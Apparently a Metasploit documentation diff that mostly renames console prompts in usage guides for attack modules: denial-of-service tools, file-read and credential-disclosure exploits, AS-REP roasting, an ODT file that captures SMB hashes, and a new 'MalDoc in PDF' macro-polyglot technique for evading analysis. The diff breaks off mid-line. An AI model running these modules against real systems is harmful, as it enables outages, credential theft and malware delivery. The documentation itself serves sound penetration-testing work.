auxiliary/dos/cisco/cisco_7937g_dos_reboot +msf auxiliary(dos/cisco/cisco_7937g_dos_reboot) > set rhost 192.168.110.209 rhost => 192.168.110.209 -msf5 auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run +msf auxiliary(dos/cisco/cisco_7937g_dos_reboot) > run [*] Starting server... [*] 192.168.110.209 - Sending DoS Packets. Stand by. diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index e07c50aeceb5f..8a2db1468ba72 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -139,14 +139,14 @@ Run the module against this container and the container will either slow down or ### VSFTPD 2.3.2 - Arch linux ``` -msf6 > use auxiliary/dos/ftp/vsftpd_232 -msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106 +msf > use auxiliary/dos/ftp/vsftpd_232 +msf auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106 rhosts => 192.168.56.106 -msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous +msf auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous ftpuser => anonymous -msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass '' +msf auxiliary(dos/ftp/vstfpd_232) > set ftppass '' ftppass => -msf6 auxiliary(dos/ftp/vstfpd_232) > run +msf auxiliary(dos/ftp/vstfpd_232) > run [*] Running module against 192.168.56.106 [*] 192.168.56.106:21 - sending payload diff --git a/documentation/modules/auxiliary/dos/http/cable_haunt_websocket_dos.md b/documentation/modules/auxiliary/dos/http/cable_haunt_websocket_dos.md index 3e166c0db54a0..6dbc7c6714a7d 100644 --- a/documentation/modules/auxiliary/dos/http/cable_haunt_websocket_dos.md +++ b/documentation/modules/auxiliary/dos/http/cable_haunt_websocket_dos.md @@ -31,7 +31,7 @@ On some devices the Spectrum Analysis web service runs on port `8080`, though Ly ## Scenarios ``` -msf5 auxiliary(dos/http/cable_haunt_websocket_dos) > run +msf auxiliary(dos/http/cable_haunt_websocket_dos) > run [*] Running module against 192.168.100.1 [*] Attempting Connection to 192.168.100.1 diff --git a/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md b/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md index f960f2fcd6390..1547dc1b2c1cd 100644 --- a/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md +++ b/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md @@ -55,12 +55,12 @@ Check the box saying: ```Enable web server on port:...``` ### WINDOWS 7/10 ``` -msf5 > use auxiliary/dos/http/flexense_http_server_dos -msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27 +msf > use auxiliary/dos/http/flexense_http_server_dos +msf auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27 rhost => 192.168.1.27 -msf5 auxiliary(dos/http/flexense_http_server_dos) > set rport 80 +msf auxiliary(dos/http/flexense_http_server_dos) > set rport 80 rport => 80 -msf5 auxiliary(dos/http/flexense_http_server_dos) > run +msf auxiliary(dos/http/flexense_http_server_dos) > run [*] 192.168.1.20:80 - Triggering the vulnerability [+] 192.168.1.20:80 - DoS successful 192.168.1.20 is down ! diff --git a/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md b/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md index 8f44caf777af0..b976d8e67de39 100644 --- a/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md +++ b/documentation/modules/auxiliary/dos/http/metasploit_httphandler_dos.md @@ -26,7 +26,7 @@ ## Scenarios ``` -msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run +msf auxiliary(dos/http/metasploit_httphandler_dos) > run [*] Running module against 127.0.0.1 [*] 127.0.0.1:8080 - Sending DoS packet... diff --git a/documentation/modules/auxiliary/dos/http/squid_range_dos.md b/documentation/modules/auxiliary/dos/http/squid_range_dos.md index 4dcd2348e9304..2fb33f2458829 100644 --- a/documentation/modules/auxiliary/dos/http/squid_range_dos.md +++ b/documentation/modules/auxiliary/dos/http/squid_range_dos.md @@ -40,12 +40,12 @@ The default setting is `CVE-2021-31806`, but `CVE-2021-31807` can also be chosen In this scenario the target server is running on the same host as Metasploit (192.168.159.128). ``` -msf6 > use auxiliary/dos/http/squid_range_dos i -msf6 auxiliary(dos/http/squid_range_dos) > set RHOSTS 192.168.159.128 +msf > use auxiliary/dos/http/squid_range_dos i +msf auxiliary(dos/http/squid_range_dos) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 auxiliary(dos/http/squid_range_dos) > set SRVHOST 192.168.159.128 +msf auxiliary(dos/http/squid_range_dos) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 -msf6 auxiliary(dos/http/squid_range_dos) > show options +msf auxiliary(dos/http/squid_range_dos) > show options Module options (auxiliary/dos/http/squid_range_dos): @@ -71,7 +71,7 @@ Auxiliary action: DOS Perform Denial of Service Against The Target -msf6 auxiliary(dos/http/squid_range_dos) > run +msf auxiliary(dos/http/squid_range_dos) > run [*] Running module against 192.168.159.128 [*] Sending 50 DoS requests to 192.168.159.128:3128 @@ -85,7 +85,7 @@ msf6 auxiliary(dos/http/squid_range_dos) > run [+] DoS completely successful. [*] Server stopped. [*] Auxiliary module execution completed -msf6 auxiliary(dos/http/squid_range_dos) > +msf auxiliary(dos/http/squid_range_dos) > ``` At this point, the target Squid server should be completely inaccessible: all children diff --git a/documentation/modules/auxiliary/dos/tcp/claymore.md b/documentation/modules/auxiliary/dos/tcp/claymore.md index 001513efddd68..db0eed44f33d0 100644 --- a/documentation/modules/auxiliary/dos/tcp/claymore.md +++ b/documentation/modules/auxiliary/dos/tcp/claymore.md @@ -16,8 +16,8 @@ Claymore Dual GPU Miner<=10.5 ### Claymore Dual GPU Miner/10.0 - window7 ``` -msf5 > use auxiliary/dos/tcp/claymore_dos -msf5 auxiliary(dos/tcp/claymore_dos) > show options +msf > use auxiliary/dos/tcp/claymore_dos +msf auxiliary(dos/tcp/claymore_dos) > show options Module options (auxiliary/dos/tcp/claymore_dos): @@ -26,9 +26,9 @@ Module options (auxiliary/dos/tcp/claymore_dos): rhost yes The target address rport 3333 yes The target port -msf5 auxiliary(dos/tcp/claymore_dos) > set rhost 127.0.0.1 +msf auxiliary(dos/tcp/claymore_dos) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf5 auxiliary(dos/tcp/claymore_dos) > run +msf auxiliary(dos/tcp/claymore_dos) > run [*] Starting server... [*] Creating sockets... diff --git a/documentation/modules/auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166.md b/documentation/modules/auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166.md index 6aba2f72b7004..7d597e085fde1 100644 --- a/documentation/modules/auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166.md +++ b/documentation/modules/auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166.md @@ -76,8 +76,8 @@ Metasploit tip: You can use help to view all available commands [*] Starting persistent handler(s)... -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166 -msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > show options +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166 +msf auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > show options Module options (auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166): Name Current Setting Required Description @@ -91,9 +91,9 @@ Module options (auxiliary/dos/windows/http/http_sys_accept_encoding_dos_cve_2021 TARGETURI / yes The URI of the IIS Server. VHOST no HTTP server virtual host -msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > set RHOSTS 172.22.216.145 +msf auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > set RHOSTS 172.22.216.145 RHOSTS => 172.22.216.145 -msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > exploit +msf auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > exploit [*] Running module against 172.22.216.145 [*] Connecting to target to make sure its alive... @@ -102,7 +102,7 @@ msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > e [*] Checking that the server is down... [+] Target is down. [*] Auxiliary module execution completed -msf6 auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > +msf auxiliary(dos/windows/http/http_sys_accept_encoding_dos_cve_2021_31166) > ``` ![Metasploit demonstration](https://mauricelambert.github.io/vulnerability/images/CVE-2021-31166_demo.gif "Metasploit demonstration") diff --git a/documentation/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.md b/documentation/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.md new file mode 100644 index 0000000000000..79dba25accdeb --- /dev/null +++ b/documentation/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.md @@ -0,0 +1,101 @@ +## Vulnerable Application + +The technique is called "MalDoc in PDF". This technique hides malicious Word documents in PDF files, +which is why malicious code contained in them cannot be detected by many analysis tools. + +The document can be opened in both Microsoft Word and a PDF reader. + +However, for the macro to run, you must open this document in Microsoft Word. The attack does not bypass +configured macro locks. The malicious macros are also not executed when the file is opened in PDF readers +or similar software. + +### Introduction + +A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file +structure of PDF. + +If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors. + +## For Testing + +You create a `Single File Web Page (*.mht, *.mhtml)` file containing a VBS macro. For testing, you can use the +following macro: + +``` +Sub AutoOpen() + MsgBox "Macro executed successfully!", vbInformation, "Information" +End Sub +``` + +## Verification Steps + +1. Start msfconsole +2. Do: `auxiliary/fileformat/maldoc_in_pdf_polyglot` +3. Do: `set FILENAME /tmp/macro.htm` +4. Do: `run` + +## Options + +### FILENAME + +The input MHT filename with macro embedded. + +### INJECTED_PDF + +The input PDF filename to be injected. (optional) + +### MESSAGE_PDF + +The message to display in the local PDF template (if INJECTED_PDF is NOT used). Default: You must open this document in Microsoft Word + +## Scenarios + +### Create without PDF template + +``` +msf auxiliary(fileformat/maldoc_in_pdf_polyglot) > options + +Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded + INJECTED_PDF no The input PDF filename to be injected (optional) + MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used) + +View the full module info with the info, or info -d command. + +msf auxiliary(fileformat/maldoc_in_pdf_polyglot) > run +[*] PDF creation using local template +[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc' +[*] Auxiliary module execution completed +``` + +### Create using PDF template + +``` +msf auxiliary(fileformat/maldoc_in_pdf_polyglot) > options + +Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded + INJECTED_PDF /tmp/injected.pdf no The input PDF filename to be injected (optional) + MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used) + + +View the full module info with the info, or info -d command. + +msf auxiliary(fileformat/maldoc_in_pdf_polyglot) > run +[*] PDF creation using 'injected.pdf' as template +[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc' +[*] Auxiliary module execution completed +``` + +## References + +1. +2. +3. +4. diff --git a/documentation/modules/auxiliary/fileformat/odt_badodt.md b/documentation/modules/auxiliary/fileformat/odt_badodt.md index e2b66dc06f880..8d8945da5a88c 100644 --- a/documentation/modules/auxiliary/fileformat/odt_badodt.md +++ b/documentation/modules/auxiliary/fileformat/odt_badodt.md @@ -47,14 +47,14 @@ set LISTENER 192.168.1.25 Install LibreOffice 6.03 or Apache OpenOffice 4.1.5 on a Windows workstation. (Note: This attack does not work against Mac or Linux versions.) ``` - msf5 > use auxiliary/fileformat/odt_badodt - msf5 auxiliary(fileformat/odt_badodt) > set FILENAME salary.odt + msf > use auxiliary/fileformat/odt_badodt + msf auxiliary(fileformat/odt_badodt) > set FILENAME salary.odt FILENAME => salary.odt - msf5 auxiliary(fileformat/odt_badodt) > set LHOST 192.168.1.25 + msf auxiliary(fileformat/odt_badodt) > set LHOST 192.168.1.25 LHOST => 192.168.1.25 - msf5 auxiliary(fileformat/odt_badodt) > set CREATOR A_USER + msf auxiliary(fileformat/odt_badodt) > set CREATOR A_USER CREATOR => A_USER - msf5 auxiliary(fileformat/odt_badodt) > exploit + msf auxiliary(fileformat/odt_badodt) > exploit [*] Generating Malicious ODT File [*] SMB Listener Address will be set to 192.168.1.25 @@ -67,13 +67,13 @@ On an attacker workstation, use a tool to serve and capture an SMB share on port ``` $ sudo ./msfconsole - msf5 > use auxiliary/server/capture/smb - msf5 auxiliary(server/capture/smb) > run + msf > use auxiliary/server/capture/smb + msf auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 0. - msf5 auxiliary(server/capture/smb) > + msf auxiliary(server/capture/smb) > [*] Server started. - msf5 auxiliary(server/capture/smb) > + msf auxiliary(server/capture/smb) > ``` Leave the metasploit SMB server listening while the user opens the document. Upon opening the ODT file, the user workstation will attempt to connect (and authenticate) to the attacker workstation: diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md index 47bc24b0e83ea..9231189b8b32d 100644 --- a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -62,7 +62,7 @@ You can use this file in combination with `jq` for offline queries and processin ## Scenarios ```msf -msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info +msf auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info Name: Acronis Cyber Protect/Backup machine info disclosure Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure @@ -129,9 +129,9 @@ View the full module info with the info -d command. ``` ### Acronis Cyber Backup 12.5 build 14330 VMware appliance ```msf -msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 +msf auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run +msf auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Running module against 192.168.201.6 [*] Running automatic check ("set AutoCheck false" to disable) @@ -167,7 +167,7 @@ msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run ``` ### Acronis Cyber Backup 15 build 27009 VMware appliance ```msf -msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run +msf auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run [*] Running module against 192.168.201.6 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360.md b/documentation/modules/auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360.md index 6e356e7675602..5c744f0f61d1f 100644 --- a/documentation/modules/auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360.md +++ b/documentation/modules/auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360.md @@ -48,7 +48,7 @@ component testing { ## Scenarios ### Adobe ColdFusion 2021 Update 5 on Windows Server 2022 ``` -msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > show options +msf auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > show options Module options (auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360): @@ -67,7 +67,7 @@ Module options (auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360): TARGETFILE ../lib/password.properties yes The target file to read, relative to the wwwroot folder. VHOST no HTTP server virtual host -msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > run +msf auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > run [*] Running module against 172.23.13.12 [*] #Tue Mar 28 01:33:23 PDT 2023 @@ -76,5 +76,5 @@ rdspassword= encrypted=true [*] Auxiliary module execution completed -msf6 auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > +msf auxiliary(gather/adobe_coldfusion_fileread_cve_2023_26360) > ``` diff --git a/documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md b/documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md index ee612a239850b..30899e1157f43 100644 --- a/documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md +++ b/documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md @@ -59,16 +59,16 @@ A file containing secret keys to try. One per line. Defaults to `metasploit-fram ### Superset 2.0.0 Docker image ``` -msf6 > use auxiliary/gather/apache_superset_cookie_sig_priv_esc -msf6 auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1 +msf > use auxiliary/gather/apache_superset_cookie_sig_priv_esc +msf auxiliary(gather/apache_superset_priv_esc) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(gather/apache_superset_priv_esc) > set username user +msf auxiliary(gather/apache_superset_priv_esc) > set username user username => user -msf6 auxiliary(gather/apache_superset_priv_esc) > set password user +msf auxiliary(gather/apache_superset_priv_esc) > set password user password => user -msf6 auxiliary(gather/apache_superset_priv_esc) > set verbose true +msf auxiliary(gather/apache_superset_priv_esc) > set verbose true verbose => true -msf6 auxiliary(gather/apache_superset_priv_esc) > run +msf auxiliary(gather/apache_superset_priv_esc) > run [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -90,7 +90,7 @@ msf6 auxiliary(gather/apache_superset_priv_esc) > run [+] Found Super Secret DB: postgresql://dbuser:mysecretpassword@1.1.1.1:15432/supersetdb [*] Done enumerating databases [*] Auxiliary module execution completed -msf6 auxiliary(gather/apache_superset_priv_esc) > creds +msf auxiliary(gather/apache_superset_priv_esc) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md index 88745b5745748..24fb067568e91 100644 --- a/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md +++ b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md @@ -22,12 +22,12 @@ To setup a test environment, the following steps can be performed: ## Scenarios ### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini ``` -msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745 -msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15 +msf > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745 +msf auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15 RHOSTS => 192.168.1.15 -msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini +msf auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini -msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run +msf auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run [*] Running module against 192.168.1.15 [*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini [+] File retrieved successfully! @@ -43,4 +43,4 @@ DIALUPUSEDEFAULTS" checked checked [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/gather/asrep.md b/documentation/modules/auxiliary/gather/asrep.md index 626b49fd6cdb5..5a2e72c2292b8 100755 --- a/documentation/modules/auxiliary/gather/asrep.md +++ b/documentation/modules/auxiliary/gather/asrep.md @@ -44,7 +44,7 @@ usually preferable, but may be less stealthy. An example of brute forcing usernames, in the hope of finding one with pre-auth not required: ```msf -msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local +msf auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local [*] Running module against 192.168.1.1 $krb5asrep$23$user@MSF.LOCAL:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832 @@ -56,7 +56,7 @@ $krb5asrep$23$user@MSF.LOCAL:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad ### Using LDAP ``` -msf6 auxiliary(gather/asrep) > run action=LDAP rhost=192.168.1.1 username=azureadmin password=password ldap::auth=kerberos domain=msf.local domaincontrollerrhost=192.168.1.1 rhostname=dc22 +msf auxiliary(gather/asrep) > run action=LDAP rhost=192.168.1.1 username=azureadmin password=password ldap::auth=kerberos domain=msf.local domaincontrollerrhost=192.168.1.1 rhostname=dc22 [*] Running module against 192.168.1.1 [+] 192.168.1.1:88 - Received a valid TGT-Response diff --git a/documentation/modules/auxiliary/gather/c2s_dvr_password_disclosure.md b/documentation/modules/auxiliary/gather/c2s_dvr_password_disclosure.md index 7b4fd5396e41b..b6cc0c5514514 100644 --- a/documentation/modules/auxiliary/gather/c2s_dvr_password_disclosure.md +++ b/documentation/modules/auxiliary/gather/c2s_dvr_password_disclosure.md @@ -65,7 +65,7 @@ if ($Q::page == 2) { [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed [*] Starting persistent handler(s)... - msf5 auxiliary(gather/c2s_dvr_password_disclosure) > creds + msf auxiliary(gather/c2s_dvr_password_disclosure) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md index 9ee1736fbb8d4..0823eac0fe79c 100644 --- a/documentation/modules/auxiliary/gather/censys_search.md +++ b/documentation/modules/auxiliary/gather/censys_search.md @@ -26,7 +26,7 @@ location.country_code: DE and services.service_name: {"FTP", "Telnet"} ### Without certificates details ``` -msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= +msf auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= [+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP [+] 2.19.184.214 - 21/FTP @@ -56,7 +56,7 @@ msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_ ### With certificates details ``` -msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= CERTIFICATES=true +msf auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_code: DE and services.service_name: {"FTP", "Telnet"}" CENSYS_UID= CENSYS_SECRET= CERTIFICATES=true [+] 2.19.184.189 - 21/FTP,22/SSH,80/HTTP,443/HTTP [*] Certificate for 21/FTP: C=US, ST=California, L=Mountain View, O=Synopsys\, Inc., CN=eft.synopsys.com (Issuer: C=US, O=Entrust\, Inc., OU=See www.entrust.net/legal-terms, OU=(c) 2012 Entrust\, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K) @@ -77,7 +77,7 @@ msf6 auxiliary(gather/censys_search) > run verbose=true QUERY="location.country_ [+] 2.23.14.243 - 21/FTP ... -msf6 auxiliary(gather/censys_search) > services +msf auxiliary(gather/censys_search) > services Services ======== diff --git a/documentation/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.md b/documentation/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.md index 6d06ac832c671..8c7e5d9a0f33e 100644 --- a/documentation/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.md +++ b/documentation/modules/auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919.md @@ -57,7 +57,7 @@ To set up a test environment: ## Scenarios ### Check Point Security Gateway Linux ``` -msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > show options +msf auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > show options Module options (auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919): @@ -75,14 +75,14 @@ Module options (auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919): View the full module info with the info, or info -d command. -msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set RHOSTS 192.168.181.128 +msf auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set RHOSTS 192.168.181.128 RHOSTS => 192.168.181.128 -msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set SSL true +msf auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > check +msf auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > check [+] 192.168.181.128:443 - The target is vulnerable. Arbitrary file read successful! -msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > run +msf auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > run [*] Running module against 192.168.181.128 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/gather/cisco_pvc2300_download_config.md b/documentation/modules/auxiliary/gather/cisco_pvc2300_download_config.md index 47f1620b201b2..da0c0fcb442ae 100644 --- a/documentation/modules/auxiliary/gather/cisco_pvc2300_download_config.md +++ b/documentation/modules/auxiliary/gather/cisco_pvc2300_download_config.md @@ -41,7 +41,7 @@ Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure): SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host -msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run +msf auxiliary(gather/cisco_pvc_2300_info_disclosure) > run [*] Running module against 172.31.31.233 [*] The target may be vulnerable. Obtained sessionID 1122062985 diff --git a/documentation/modules/auxiliary/gather/cisco_rv320_config.md b/documentation/modules/auxiliary/gather/cisco_rv320_config.md index d1383e70b9f1f..6506dff8b9e5a 100644 --- a/documentation/modules/auxiliary/gather/cisco_rv320_config.md +++ b/documentation/modules/auxiliary/gather/cisco_rv320_config.md @@ -30,11 +30,11 @@ More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019 #### Against firmware version 1.4.2.15, on the LAN interface, port 443: ``` -msf5 > -msf5 > use auxiliary/gather/cisco_rv320_config -msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +msf > +msf > use auxiliary/gather/cisco_rv320_config +msf auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf5 auxiliary(gather/cisco_rv320_config) > run +msf auxiliary(gather/cisco_rv320_config) > run [+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt [*] Scanned 1 of 1 hosts (100% complete) @@ -44,15 +44,15 @@ msf5 auxiliary(gather/cisco_rv320_config) > run #### Against firmware version 1.4.2.15, on the WAN interface, port 8007: ``` -msf5 > -msf5 > use auxiliary/gather/cisco_rv320_config -msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 203.0.113.54 +msf > +msf > use auxiliary/gather/cisco_rv320_config +msf auxiliary(gather/cisco_rv320_config) > set RHOSTS 203.0.113.54 RHOSTS => 203.0.113.54 -msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007 +msf auxiliary(gather/cisco_rv320_config) > set RPORT 8007 RPORT => 8007 -msf5 auxiliary(gather/cisco_rv320_config) > set SSL false +msf auxiliary(gather/cisco_rv320_config) > set SSL false SSL => false -msf5 auxiliary(gather/cisco_rv320_config) > run +msf auxiliary(gather/cisco_rv320_config) > run [+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_203.0.113.54_cisco.rv.config_434637.txt [*] Scanned 1 of 1 hosts (100% complete) @@ -62,11 +62,11 @@ msf5 auxiliary(gather/cisco_rv320_config) > run #### Against firmware version 1.4.2.17, on the LAN interface, port 443: ``` -msf5 > -msf5 > use auxiliary/gather/cisco_rv320_config -msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 +msf > +msf > use auxiliary/gather/cisco_rv320_config +msf auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf5 auxiliary(gather/cisco_rv320_config) > run +msf auxiliary(gather/cisco_rv320_config) > run [+] Stored configuration (128628 bytes) to 